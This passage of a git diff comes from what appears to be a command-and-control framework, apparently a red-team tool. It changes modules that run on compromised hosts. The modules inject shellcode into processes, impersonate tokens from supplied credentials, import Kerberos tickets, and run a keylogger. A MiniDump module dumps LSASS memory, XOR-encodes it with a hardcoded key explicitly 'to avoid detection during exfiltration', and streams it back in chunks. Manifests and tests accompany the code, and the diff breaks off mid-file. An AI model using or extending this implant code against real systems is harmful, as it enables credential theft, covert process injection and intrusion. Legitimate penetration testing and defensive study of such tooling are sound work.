- { - std::string newInputFile=m_windowsBeaconsDirectoryPath; - newInputFile+=inputFile; - myfile.open(newInputFile, std::ios::binary); - inputFile=newInputFile; - } - - if(!myfile) - { - std::string msg = "Couldn't open file.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - myfile.close(); - - std::string payload; - if(donut) - { - creatShellCodeDonut(inputFile, method, args, payload, true, false, m_windowsArch); - } - else - { - std::ifstream input(inputFile, std::ios::binary); - std::string payload_(std::istreambuf_iterator(input), {}); - payload=payload_; - } - - if(payload.size()==0) - { - std::string msg = "Something went wrong. Payload empty.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - - std::string cmd; - for (int idx = 1; idx < splitedCmd.size(); idx++) - { - cmd+=splitedCmd[idx]; - cmd+=" "; - } - - c2Message.set_pid(pid); - c2Message.set_cmd(cmd); - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_inputfile(inputFile); - c2Message.set_data(payload.data(), payload.size()); - } - else - { - c2Message.set_returnvalue(getInfo()); + c2Message.set_returnvalue(options.error + "\n"); return -1; } + + if (options.generator != "raw") + { + c2Message.set_returnvalue("Donut shellcode generation is handled by the TeamServer shellcode service.\n"); + return -1; + } + + const std::string inputFile = resolvePayloadPath(options.sourcePath, m_toolsDirectoryPath, m_windowsBeaconsDirectoryPath, m_windowsArch); + std::ifstream myfile(inputFile, std::ios::binary); + if(!myfile) + { + c2Message.set_returnvalue("Couldn't open file.\n"); + return -1; + } + myfile.close(); + + ModulePreparedShellcodeTask task; + task.inputFile = inputFile; + task.payload = readBinaryFile(inputFile); + task.pid = options.pid; + task.displayCommand = options.displayCommand; + if (task.payload.empty()) + { + c2Message.set_returnvalue("Something went wrong. Payload empty.\n"); + return -1; + } + return initPreparedShellcode(task, c2Message); #endif return 0; } diff --git a/modules/Inject/Inject.hpp b/modules/Inject/Inject.hpp index 2e8337a..5cf2fe6 100644 --- a/modules/Inject/Inject.hpp +++ b/modules/Inject/Inject.hpp @@ -17,6 +17,9 @@ public: int initConfig(const nlohmann::json &config); int init(std::vector& splitedCmd, C2Message& c2Message); +#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) + int initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message) override; +#endif int process(C2Message& c2Message, C2Message& c2RetMessage); int errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) override; int osCompatibility() diff --git a/modules/Inject/InjectCommandOptions.hpp b/modules/Inject/InjectCommandOptions.hpp new file mode 100644 index 0000000..57323d6 --- /dev/null +++ b/modules/Inject/InjectCommandOptions.hpp @@ -0,0 +1,226 @@ +#pragma once + +#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) + +#include +#include +#include +#include +#include + +namespace inject_command +{ +struct CommandOptions +{ + int pid = -1; + bool hasPid = false; + std::string generator = "raw"; + std::string sourceType = "raw"; + std::string sourcePath; + std::string method; + std::string arguments; + std::string displayCommand; + std::string error; +}; + +inline std::string lowerCopy(std::string value) +{ + std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c) + { + return static_cast(std::tolower(c)); + }); + return value; +} + +inline std::string joinCommandTail(const std::vector& parts, size_t start) +{ + std::string result; + for (size_t index = start; index < parts.size(); ++index) + { + if (!result.empty()) + result += " "; + result += parts[index]; + } + return result; +} + +inline bool parsePidValue(const std::string& value, int& pid) +{ + try + { + size_t parsed = 0; + const int parsedPid = std::stoi(value, &parsed); + if (parsed != value.size()) + return false; + pid = parsedPid; + return true; + } + catch (...) + { + return false; + } +} + +inline bool setPid(CommandOptions& options, const std::string& value) +{ + int pid = -1; + if (!parsePidValue(value, pid)) + { + options.error = "Pid must be an integer."; + return false; + } + options.pid = pid; + options.hasPid = true; + return true; +} + +inline bool setSource(CommandOptions& options, const std::vector& tokens, size_t& index, const std::string& token) +{ + if (++index >= tokens.size()) + { + options.error = token + " requires a file path."; + return false; + } + + options.sourcePath = tokens[index]; + if (token == "--raw" || token == "-r") + { + options.generator = "raw"; + options.sourceType = "raw"; + } + else if (token == "--donut-exe" || token == "-e") + { + options.generator = "donut"; + options.sourceType = "dotnet_exe"; + } + else if (token == "--donut-dll" || token == "-d") + { + options.generator = "donut"; + options.sourceType = "dotnet_dll"; + } + return true; +} + +inline CommandOptions parseCommandOptions(const std::vector& tokens) +{ + CommandOptions options; + options.displayCommand = joinCommandTail(tokens, 1); + + for (size_t index = 1; index < tokens.size(); ++index) + { + const std::string& token = tokens[index]; + if (token == "--") + { + options.arguments = joinCommandTail(tokens, index + 1); + break; + } + if (token == "--pid") + { + if (++index >= tokens.size()) + { + options.error = "--pid requires a value."; + return options; + } + if (!setPid(options, tokens[index])) + return options; + } + else if (token == "--raw" || token == "-r") + { + if (!setSource(options, tokens, index, token)) + return options; + if (token == "-r") + { + if (++index >= tokens.size()) + { + options.error = "Pid must be an integer."; + return options; + } + if (!setPid(options, tokens[index])) + return options; + } + } + else if (token == "--donut-exe" || token == "-e") + { + if (!setSource(options, tokens, index, token)) + return options; + if (token == "-e") + { + if (++index >= tokens.size()) + { + options.error = "Pid must be an integer."; + return options; + } + if (!setPid(options, tokens[index])) + return options; + options.arguments = joinCommandTail(tokens, index + 1); + break; + } + } + else if (token == "--donut-dll" || token == "-d") + { + if (!setSource(options, tokens, index, token)) + return options; + if (token == "-d") + { + if (++index >= tokens.size()) + { + options.error = "Pid must be an integer."; + return options; + } + if (!setPid(options, tokens[index])) + return options; + if (++index >= tokens.size()) + { + options.error = "Method is mandatory for DLL."; + return options; + } + options.method = tokens[index]; + options.arguments = joinCommandTail(tokens, index + 1); + break; + } + } + else if (token == "--method") + { + if (++index >= tokens.size()) + { + options.error = "--method requires a value."; + return options; + } + options.method = tokens[index]; + } + else + { + int positionalPid = -1; + if (!options.hasPid && parsePidValue(token, positionalPid)) + { + options.pid = positionalPid; + options.hasPid = true; + } + else + { + options.error = "Unknown inject option: " + token; + return options; + } + } + } + + if (options.sourcePath.empty()) + { + options.error = "A payload source must be provided."; + return options; + } + if (!options.hasPid) + { + options.error = "Pid must be an integer."; + return options; + } + if (options.sourceType == "dotnet_dll" && options.method.empty()) + { + options.error = "Method is mandatory for DLL."; + return options; + } + return options; +} +} // namespace inject_command + +#endif diff --git a/modules/Inject/inject.json b/modules/Inject/inject.json new file mode 100644 index 0000000..d958442 --- /dev/null +++ b/modules/Inject/inject.json @@ -0,0 +1,110 @@ +{ + "name": "inject", + "display_name": "inject", + "kind": "module", + "description": "Inject prepared shellcode into an existing process or a newly spawned process. Donut inputs are prepared by the TeamServer shellcode service before the task is sent to the beacon.", + "command_template": "inject --pid {pid} [--raw {raw:q}] [--donut-exe {donut_exe:q}] [--donut-dll {donut_dll:q}] [--method {method:q}] [-- {arguments:raw}]", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "--pid", + "type": "flag", + "required": true, + "description": "Target process id. Use a negative value to spawn the configured process before injection." + }, + { + "name": "--raw", + "type": "flag", + "required": false, + "description": "Use an existing raw shellcode file on the TeamServer.", + "artifact_filter": { + "category": "tool", + "scope": "server", + "target": "teamserver", + "platform": "windows", + "arch": "session.arch", + "runtime": "any", + "format": "bin", + "name_contains": ".bin" + } + }, + { + "name": "--donut-exe", + "type": "flag", + "required": false, + "description": "Generate shellcode from an executable on the TeamServer.", + "artifact_filters": [ + { + "category": "tool", + "scope": "server", + "target": "teamserver", + "platform": "windows", + "arch": "session.arch", + "runtime": "any", + "format": "exe", + "name_contains": ".exe" + }, + { + "category": "beacon", + "scope": "implant", + "target": "listener", + "platform": "windows", + "arch": "session.arch", + "runtime": "native", + "format": "exe", + "name_contains": ".exe" + } + ] + }, + { + "name": "--donut-dll", + "type": "flag", + "required": false, + "description": "Generate shellcode from a DLL on the TeamServer.", + "artifact_filter": { + "category": "tool", + "scope": "server", + "target": "teamserver", + "platform": "windows", + "arch": "session.arch", + "runtime": "any", + "format": "dll", + "name_contains": ".dll" + } + }, + { + "name": "source_path", + "type": "path", + "required": true, + "description": "Raw shellcode, executable, or DLL path on the TeamServer." + }, + { + "name": "pid", + "type": "number", + "required": true, + "description": "Target process id." + }, + { + "name": "--method", + "type": "flag", + "required": false, + "description": "Required for --donut-dll." + }, + { + "name": "arguments", + "type": "text", + "required": false, + "description": "Arguments passed to the Donut source after --.", + "variadic": true + } + ], + "examples": [ + "inject --raw shellcode.bin --pid 4321", + "inject --donut-exe Seatbelt.exe --pid 4321 -- -group=system", + "inject --donut-dll Tool.dll --pid -1 --method EntryPoint -- arg1 arg2" + ], + "source": "manifest" +} diff --git a/modules/Inject/tests/functional/testsInjectFunctional.cpp b/modules/Inject/tests/functional/testsInjectFunctional.cpp index 6572d6b..2a1d94a 100644 --- a/modules/Inject/tests/functional/testsInjectFunctional.cpp +++ b/modules/Inject/tests/functional/testsInjectFunctional.cpp @@ -1,6 +1,8 @@ #include "../../Inject.hpp" +#include "../../../AssemblyExec/tests/AssemblyExecTestShellcodeGenerator.hpp" #include "../../../tests/FunctionalTestHelpers.hpp" +#include #include #include #include @@ -44,6 +46,31 @@ bool isTruthy(const std::string& value) { return value == "1" || value == "true" || value == "TRUE" || value == "yes" || value == "YES"; } + +std::string currentWindowsArch() +{ +#if defined(_M_ARM64) || defined(__aarch64__) + return "arm64"; +#elif defined(_M_IX86) || defined(__i386__) + return "x86"; +#else + return "x64"; +#endif +} + +bool parsePid(const std::string& value, int& pid) +{ + try + { + size_t parsed = 0; + pid = std::stoi(value, &parsed); + return parsed == value.size(); + } + catch (...) + { + return false; + } +} } int main(int argc, char** argv) @@ -97,45 +124,58 @@ int main(int argc, char** argv) return skipMissing("testsInjectFunctional", missing); } - std::vector command = {"inject"}; + Inject module; + C2Message message; + std::filesystem::path generatedPath; if (kind == "raw") { - command.push_back("-r"); - command.push_back(payload); - } - else if (kind == "dll") - { - command.push_back("-d"); - command.push_back(payload); - command.push_back(pid); - command.push_back(method); - if (!arguments.empty()) + std::vector command = {"inject", "-r", payload, pid}; + if (module.init(command, message) != 0) { - command.push_back(arguments); + std::cerr << "testsInjectFunctional init failed:\n" << message.returnvalue() << '\n'; + return 1; } } else { - command.push_back("-e"); - command.push_back(payload); - command.push_back(pid); - if (!arguments.empty()) + int parsedPid = -1; + if (!parsePid(pid, parsedPid)) { - command.push_back(arguments); + std::cerr << "testsInjectFunctional invalid pid: " << pid << '\n'; + return 1; } - } - if (kind == "raw") - { - command.push_back(pid); - } + assembly_exec_tests::GeneratedShellcode generated = assembly_exec_tests::generateDonutShellcodeForTest( + payload, + kind == "dll" ? method : "", + arguments, + currentWindowsArch(), + true); + if (!generated.ok) + { +#ifndef _WIN32 + std::cout << "testsInjectFunctional skipped: " << generated.error << '\n'; + return skipReturnCode; +#else + std::cerr << "testsInjectFunctional Donut preparation failed:\n" << generated.error << '\n'; + return 1; +#endif + } - Inject module; - C2Message message; - if (module.init(command, message) != 0) - { - std::cerr << "testsInjectFunctional init failed:\n" << message.returnvalue() << '\n'; - return 1; + generatedPath = generated.path; + ModulePreparedShellcodeTask task; + task.inputFile = generated.path.string(); + task.payload = generated.bytes; + task.pid = parsedPid; + task.displayCommand = kind == "dll" + ? "--donut-dll " + payload + " --pid " + pid + " --method " + method + " -- " + arguments + : "--donut-exe " + payload + " --pid " + pid + " -- " + arguments; + if (module.initPreparedShellcode(task, message) != 0) + { + std::cerr << "testsInjectFunctional prepared init failed:\n" << message.returnvalue() << '\n'; + std::filesystem::remove(generatedPath); + return 1; + } } std::cout << "testsInjectFunctional init OK\n"; @@ -145,6 +185,10 @@ int main(int argc, char** argv) if (!execute) { std::cout << "execution skipped; pass --execute to run the module process path.\n"; + if (!generatedPath.empty()) + { + std::filesystem::remove(generatedPath); + } return 0; } @@ -165,5 +209,9 @@ int main(int argc, char** argv) C2Message result; module.process(message, result); std::cout << result.returnvalue() << '\n'; + if (!generatedPath.empty()) + { + std::filesystem::remove(generatedPath); + } return 0; } diff --git a/modules/Inject/tests/testsInject.cpp b/modules/Inject/tests/testsInject.cpp index 175d086..8e4ef2e 100644 --- a/modules/Inject/tests/testsInject.cpp +++ b/modules/Inject/tests/testsInject.cpp @@ -1,4 +1,5 @@ #include "../Inject.hpp" +#include "../../AssemblyExec/tests/AssemblyExecTestShellcodeGenerator.hpp" #include "../../tests/TestHelpers.hpp" #include @@ -39,6 +40,41 @@ bool expectInjectMessage(const C2Message& message, return ok; } +#ifdef _WIN32 +bool expectPreparedDonutMessage(const std::filesystem::path& sourcePath, + int expectedPid, + const std::string& arguments, + const std::string& arch, + const std::string& displayCommand, + const std::string& label) +{ + bool ok = true; + assembly_exec_tests::GeneratedShellcode generated = assembly_exec_tests::generateDonutShellcodeForTest( + sourcePath.string(), + "", + arguments, + arch, + true); + ok &= expect(generated.ok, label + ": Donut test shellcode should be generated: " + generated.error); + if (!ok) + return false; + + Inject module; + ModulePreparedShellcodeTask task; + task.inputFile = generated.path.string(); + task.payload = generated.bytes; + task.pid = expectedPid; + task.displayCommand = displayCommand; + + C2Message message; + ok &= expect(module.initPreparedShellcode(task, message) == 0, label + ": prepared shellcode should be packed"); + ok &= expectInjectMessage(message, generated.path, expectedPid, displayCommand, label); + ok &= expect(message.data() == generated.bytes, label + ": generated shellcode bytes should be packed"); + std::filesystem::remove(generated.path); + return ok; +} +#endif + #ifdef _WIN32 class ChildProcess { @@ -166,7 +202,7 @@ int main() C2Message message; ok &= expect(module.init(cmd, message) == -1, "unknown payload option should be rejected"); - ok &= expect(message.returnvalue().find("One of the tags") != std::string::npos, "unknown payload option should explain accepted tags"); + ok &= expect(message.returnvalue().find("Unknown inject option") != std::string::npos, "unknown payload option should explain the failure"); } { @@ -178,6 +214,24 @@ int main() ok &= expect(message.returnvalue().find("Method is mandatory") != std::string::npos, "DLL mode should explain missing method"); } + { + Inject module; + std::vector cmd = {"inject", "--donut-exe", "payload.exe", "--pid", "1234", "--", "alpha", "beta"}; + C2Message message; + + ok &= expect(module.init(cmd, message) == -1, "Donut EXE mode should be delegated to TeamServer"); + ok &= expect(message.returnvalue().find("TeamServer shellcode service") != std::string::npos, "Donut delegation should explain TeamServer ownership"); + } + + { + Inject module; + std::vector cmd = {"inject", "--donut-dll", "payload.dll", "--pid", "1234", "--method", "Run"}; + C2Message message; + + ok &= expect(module.init(cmd, message) == -1, "Donut DLL mode should be delegated to TeamServer"); + ok &= expect(message.returnvalue().find("TeamServer shellcode service") != std::string::npos, "Donut DLL delegation should explain TeamServer ownership"); + } + { const auto raw = writeTempFile("c2core_inject_empty_raw.bin", ""); Inject module; @@ -226,11 +280,28 @@ int main() { Inject module; module.setWindowsArch(currentArch); - std::vector cmd = {"inject", "-e", dummyPath.string(), "1234", "alpha", "beta gamma"}; + std::vector cmd = {"inject", "--donut-exe", dummyPath.string(), "--pid", "1234", "--", "alpha", "beta gamma"}; C2Message message; - ok &= expect(module.init(cmd, message) == 0, "dummy exe should be accepted by Donut EXE mode"); - ok &= expectInjectMessage(message, dummyPath, 1234, "alpha beta gamma", "dummy exe Donut mode with args"); + ok &= expect(module.init(cmd, message) == -1, "dummy exe Donut mode should be prepared by TeamServer"); + ok &= expect(message.returnvalue().find("TeamServer shellcode service") != std::string::npos, "dummy exe Donut mode should explain TeamServer preparation"); + ok &= expectPreparedDonutMessage( + dummyPath, + 1234, + "alpha beta gamma", + currentArch, + "--donut-exe " + dummyPath.string() + " --pid 1234 -- alpha beta gamma", + "dummy exe TeamServer-prepared Donut inject"); + } + + { + ok &= expectPreparedDonutMessage( + dummyPath, + -1, + "--spawn", + currentArch, + "--donut-exe " + dummyPath.string() + " --pid -1 -- --spawn", + "dummy exe TeamServer-prepared Donut spawn inject"); } { diff --git a/modules/IpConfig/ipConfig.json b/modules/IpConfig/ipConfig.json new file mode 100644 index 0000000..e67f04e --- /dev/null +++ b/modules/IpConfig/ipConfig.json @@ -0,0 +1,14 @@ +{ + "name": "ipConfig", + "display_name": "ipConfig", + "kind": "module", + "description": "Show network interface configuration on the beacon.", + "command_template": "ipConfig", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [], + "examples": ["ipConfig"], + "source": "manifest" +} diff --git a/modules/KerberosUseTicket/KerberosUseTicket.cpp b/modules/KerberosUseTicket/KerberosUseTicket.cpp index 3cbed43..fbc7cce 100644 --- a/modules/KerberosUseTicket/KerberosUseTicket.cpp +++ b/modules/KerberosUseTicket/KerberosUseTicket.cpp @@ -67,12 +67,12 @@ KerberosUseTicket::~KerberosUseTicket() std::string KerberosUseTicket::getInfo() { std::string info; -#ifdef BUILD_TEAMSERVER - info += "KerberosUseTicket:\n"; - info += "Import a kerberos ticket from a file to the curent LUID. \n"; - info += "exemple:\n"; - info += "- KerberosUseTicket /tmp/ticket.kirbi\n"; -#endif +#ifdef BUILD_TEAMSERVER + info += "KerberosUseTicket:\n"; + info += "Import a kerberos ticket upload artifact to the curent LUID. \n"; + info += "exemple:\n"; + info += "- kerberosUseTicket ticket.kirbi\n"; +#endif return info; } @@ -188,4 +188,4 @@ std::string KerberosUseTicket::importTicket(const std::string& ticket) #endif return result; -} \ No newline at end of file +} diff --git a/modules/KerberosUseTicket/kerberosUseTicket.json b/modules/KerberosUseTicket/kerberosUseTicket.json new file mode 100644 index 0000000..9eed773 --- /dev/null +++ b/modules/KerberosUseTicket/kerberosUseTicket.json @@ -0,0 +1,32 @@ +{ + "name": "kerberosUseTicket", + "display_name": "kerberosUseTicket", + "kind": "module", + "description": "Import a Kerberos ticket upload artifact into the current LUID.", + "command_template": "kerberosUseTicket {ticket_artifact:q}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "ticket_artifact", + "type": "artifact", + "required": true, + "description": ".kirbi ticket artifact from UploadedArtifacts.", + "artifact_filter": { + "category": "upload", + "scope": "operator", + "target": "beacon", + "platform": "session.platform", + "arch": "session.arch", + "runtime": "file", + "name_contains": ".kirbi" + } + } + ], + "examples": [ + "kerberosUseTicket ticket.kirbi" + ], + "source": "manifest" +} diff --git a/modules/KeyLogger/keyLogger.json b/modules/KeyLogger/keyLogger.json new file mode 100644 index 0000000..77fa452 --- /dev/null +++ b/modules/KeyLogger/keyLogger.json @@ -0,0 +1,26 @@ +{ + "name": "keyLogger", + "display_name": "keyLogger", + "kind": "module", + "description": "Start, stop, or locally dump the keylogger buffer.", + "command_template": "keyLogger {action}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "action", + "type": "enum", + "required": true, + "description": "Keylogger action. dump is handled locally by the TeamServer module instance.", + "values": ["start", "stop", "dump"] + } + ], + "examples": [ + "keyLogger start", + "keyLogger stop", + "keyLogger dump" + ], + "source": "manifest" +} diff --git a/modules/KillProcess/killProcess.json b/modules/KillProcess/killProcess.json new file mode 100644 index 0000000..e565274 --- /dev/null +++ b/modules/KillProcess/killProcess.json @@ -0,0 +1,23 @@ +{ + "name": "killProcess", + "display_name": "killProcess", + "kind": "module", + "description": "Terminate a process on the beacon host by PID.", + "command_template": "killProcess {pid}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [ + { + "name": "pid", + "type": "number", + "required": true, + "description": "Process id to terminate." + } + ], + "examples": [ + "killProcess 4242" + ], + "source": "manifest" +} diff --git a/modules/ListDirectory/ls.json b/modules/ListDirectory/ls.json new file mode 100644 index 0000000..712a0e5 --- /dev/null +++ b/modules/ListDirectory/ls.json @@ -0,0 +1,26 @@ +{ + "name": "ls", + "display_name": "ls", + "kind": "module", + "description": "List the contents of a directory on the beacon.", + "command_template": "ls {path:q?}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [ + { + "name": "path", + "type": "path", + "required": false, + "description": "Remote directory path. Defaults to the beacon current working directory.", + "variadic": true + } + ], + "examples": [ + "ls", + "ls /tmp", + "ls C:\\Users\\Public" + ], + "source": "manifest" +} diff --git a/modules/ListProcesses/ps.json b/modules/ListProcesses/ps.json new file mode 100644 index 0000000..0fc92d7 --- /dev/null +++ b/modules/ListProcesses/ps.json @@ -0,0 +1,14 @@ +{ + "name": "ps", + "display_name": "ps", + "kind": "module", + "description": "List running processes on the beacon.", + "command_template": "ps", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [], + "examples": ["ps"], + "source": "manifest" +} diff --git a/modules/MakeToken/makeToken.json b/modules/MakeToken/makeToken.json new file mode 100644 index 0000000..e8b3a7d --- /dev/null +++ b/modules/MakeToken/makeToken.json @@ -0,0 +1,29 @@ +{ + "name": "makeToken", + "display_name": "makeToken", + "kind": "module", + "description": "Create and impersonate a token from explicit credentials.", + "command_template": "makeToken {username:q} {password:q}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "username", + "type": "text", + "required": true, + "description": "Username in Username or DOMAIN\\Username form." + }, + { + "name": "password", + "type": "text", + "required": true, + "description": "Password for the supplied username." + } + ], + "examples": [ + "makeToken DOMAIN\\Username Password123!" + ], + "source": "manifest" +} diff --git a/modules/MiniDump/MiniDump.cpp b/modules/MiniDump/MiniDump.cpp index 48ba572..db1bf33 100644 --- a/modules/MiniDump/MiniDump.cpp +++ b/modules/MiniDump/MiniDump.cpp @@ -1,7 +1,9 @@ #include "MiniDump.hpp" +#include #include #include +#include #include #ifdef _WIN32 @@ -23,6 +25,7 @@ using namespace std; constexpr std::string_view moduleName = "miniDump"; constexpr unsigned long long moduleHash = djb2(moduleName); +constexpr std::size_t CHUNK_SIZE = 1 * 1024 * 1024; #ifdef _WIN32 @@ -169,7 +172,7 @@ __attribute__((visibility("default"))) MiniDump* MiniDumpConstructor() MiniDump::MiniDump() -#ifdef BUILD_TEAMSERVER +#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) : ModuleCmd(std::string(moduleName), moduleHash) #else : ModuleCmd("", moduleHash) @@ -188,18 +191,18 @@ MiniDump::~MiniDump() std::string MiniDump::getInfo() { std::string info; -#ifdef BUILD_TEAMSERVER +#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) info += "MiniDump Module:\n"; - info += "This module allows you to dump the LSASS process memory and output it as a file that is XOR-encrypted for evasion purposes.\n"; - info += "The XORed dump file will be saved in the current directory. You can then decrypt it, once downloaded in the TeamServer, using the 'decrypt' command.\n\n"; + info += "Dump the LSASS process memory and return it as an XOR-encrypted generated TeamServer artifact.\n"; + info += "The XORed dump can then be decrypted locally with the decrypt action.\n\n"; info += "Usage:\n"; - info += " miniDump dump dmpFile.xored\n"; - info += " - Dumps LSASS memory to an XOR-encrypted file (e.g., ./dmpFile.xored)\n\n"; + info += " miniDump dump [artifactName]\n"; + info += " - Dumps LSASS memory to an XOR-encrypted generated artifact (e.g., lsass.xored)\n\n"; info += " miniDump decrypt \n"; info += " - Decrypts the specified XORed dump file for analysis (e.g., miniDump decrypt /tmp/dmpFile.xored)\n\n"; info += "Note:\n"; info += " - The dump file is XOR-encoded to avoid detection during exfiltration.\n"; - info += " - Use the 'decrypt' command locally after download to convert it back to a usable minidump.\n"; + info += " - Use the 'decrypt' command locally to convert it back to a usable minidump.\n"; #endif return info; } @@ -212,7 +215,7 @@ std::string xorKey = "nY5LkT7dXmiWeF2QApDLMQmnHaCR4VzsC6zuN3QgZtTqU7qaaf"; int MiniDump::init(std::vector &splitedCmd, C2Message &c2Message) { -#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) +#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) if(splitedCmd.size() == 3 && splitedCmd[1]=="dump") { @@ -271,6 +274,42 @@ int MiniDump::init(std::vector &splitedCmd, C2Message &c2Message) return 0; } +int MiniDump::emitChunk(C2Message& c2RetMessage) +{ + if (m_dumpBuffer.empty() || m_bytesSent >= m_dumpBuffer.size()) + return 0; + + const std::size_t totalSize = m_dumpBuffer.size(); + const std::size_t chunkSize = std::min(CHUNK_SIZE, totalSize - m_bytesSent); + c2RetMessage.set_instruction(std::to_string(moduleHash)); + c2RetMessage.set_cmd(""); + c2RetMessage.set_uuid(m_taskUuid); + c2RetMessage.set_outputfile(m_outputfile); + c2RetMessage.set_args(m_bytesSent == 0 ? "0" : "1"); + c2RetMessage.set_data(m_dumpBuffer.data() + m_bytesSent, chunkSize); + + m_bytesSent += chunkSize; + if (m_bytesSent == totalSize) + { + c2RetMessage.set_returnvalue("Success"); + m_outputfile.clear(); + m_taskUuid.clear(); + m_dumpBuffer.clear(); + m_bytesSent = 0; + } + else + { + c2RetMessage.set_returnvalue(std::to_string(m_bytesSent) + "/" + std::to_string(totalSize)); + } + + return 1; +} + +int MiniDump::recurringExec(C2Message& c2RetMessage) +{ + return emitChunk(c2RetMessage); +} + #ifdef _WIN32 @@ -823,16 +862,11 @@ int MiniDump::process(C2Message &c2Message, C2Message &c2RetMessage) XOR(dumpfile, xorKey); - // Save to file - std::string dmpFileName = c2Message.outputfile(); - bool writeOk = WriteStringToFile(dmpFileName, dumpfile); - if(!writeOk) - { - c2RetMessage.set_errorCode(ERROR_WRITE_OUTPUT_FILE); - return -1; - } - - c2RetMessage.set_returnvalue("Success"); + m_outputfile = c2Message.outputfile(); + m_taskUuid = c2Message.uuid(); + m_dumpBuffer = std::move(dumpfile); + m_bytesSent = 0; + emitChunk(c2RetMessage); return 0; } @@ -863,4 +897,4 @@ int MiniDump::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMs } #endif return 0; -} \ No newline at end of file +} diff --git a/modules/MiniDump/MiniDump.hpp b/modules/MiniDump/MiniDump.hpp index 8dfcd54..dd2859e 100644 --- a/modules/MiniDump/MiniDump.hpp +++ b/modules/MiniDump/MiniDump.hpp @@ -13,6 +13,7 @@ public: std::string getInfo(); int init(std::vector& splitedCmd, C2Message& c2Message); + int recurringExec(C2Message& c2RetMessage) override; int process(C2Message& c2Message, C2Message& c2RetMessage); int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); int osCompatibility() @@ -21,7 +22,12 @@ public: } private: - + int emitChunk(C2Message& c2RetMessage); + + std::string m_outputfile; + std::string m_taskUuid; + std::string m_dumpBuffer; + std::size_t m_bytesSent = 0; }; diff --git a/modules/MiniDump/miniDump.json b/modules/MiniDump/miniDump.json new file mode 100644 index 0000000..2cc9264 --- /dev/null +++ b/modules/MiniDump/miniDump.json @@ -0,0 +1,32 @@ +{ + "name": "miniDump", + "display_name": "miniDump", + "kind": "module", + "description": "Dump LSASS to an XORed generated TeamServer artifact, or decrypt an XORed dump locally.", + "command_template": "miniDump {action} {artifact_name:q?}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "action", + "type": "enum", + "required": true, + "description": "MiniDump action.", + "values": ["dump", "decrypt"] + }, + { + "name": "artifact_name", + "type": "path", + "required": false, + "description": "Optional generated artifact filename hint for dump, or input XORed dump path for decrypt." + } + ], + "examples": [ + "miniDump dump", + "miniDump dump lsass.xored", + "miniDump decrypt /tmp/lsass.xored" + ], + "source": "manifest" +} diff --git a/modules/MiniDump/tests/testsMiniDump.cpp b/modules/MiniDump/tests/testsMiniDump.cpp index 19af9ac..243c434 100644 --- a/modules/MiniDump/tests/testsMiniDump.cpp +++ b/modules/MiniDump/tests/testsMiniDump.cpp @@ -1,6 +1,7 @@ #include "../MiniDump.hpp" #include +#include #ifdef __linux__ #elif _WIN32 @@ -26,5 +27,25 @@ int main() bool testMinidump() { - return true; -} \ No newline at end of file + bool ok = true; + + { + MiniDump module; + std::vector cmd = {"miniDump", "dump", "lsass.xored"}; + C2Message message; + ok &= module.init(cmd, message) == 0; + ok &= message.instruction() == "miniDump"; + ok &= message.cmd() == "0"; + ok &= message.outputfile() == "lsass.xored"; + } + + { + MiniDump module; + std::vector cmd = {"miniDump", "dump"}; + C2Message message; + ok &= module.init(cmd, message) == -1; + ok &= message.returnvalue().find("MiniDump") != std::string::npos; + } + + return ok; +} diff --git a/modules/MkDir/mkDir.json b/modules/MkDir/mkDir.json new file mode 100644 index 0000000..97ae637 --- /dev/null +++ b/modules/MkDir/mkDir.json @@ -0,0 +1,25 @@ +{ + "name": "mkDir", + "display_name": "mkDir", + "kind": "module", + "description": "Create a remote directory on the beacon.", + "command_template": "mkDir {path:q}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [ + { + "name": "path", + "type": "path", + "required": true, + "description": "Remote directory path.", + "variadic": true + } + ], + "examples": [ + "mkDir /tmp/work", + "mkDir C:\\Temp\\work" + ], + "source": "manifest" +} diff --git a/modules/ModuleCmd/C2Message.hpp b/modules/ModuleCmd/C2Message.hpp index 103bea7..c03131c 100644 --- a/modules/ModuleCmd/C2Message.hpp +++ b/modules/ModuleCmd/C2Message.hpp @@ -1,4 +1,6 @@ +#pragma once + #include #include "nlohmann/json.hpp" diff --git a/modules/ModuleCmd/CommandSpecs/common/end.json b/modules/ModuleCmd/CommandSpecs/common/end.json new file mode 100644 index 0000000..2b96158 --- /dev/null +++ b/modules/ModuleCmd/CommandSpecs/common/end.json @@ -0,0 +1,14 @@ +{ + "name": "end", + "display_name": "end", + "kind": "common", + "description": "Terminate the beacon process.", + "command_template": "end", + "target": "beacon", + 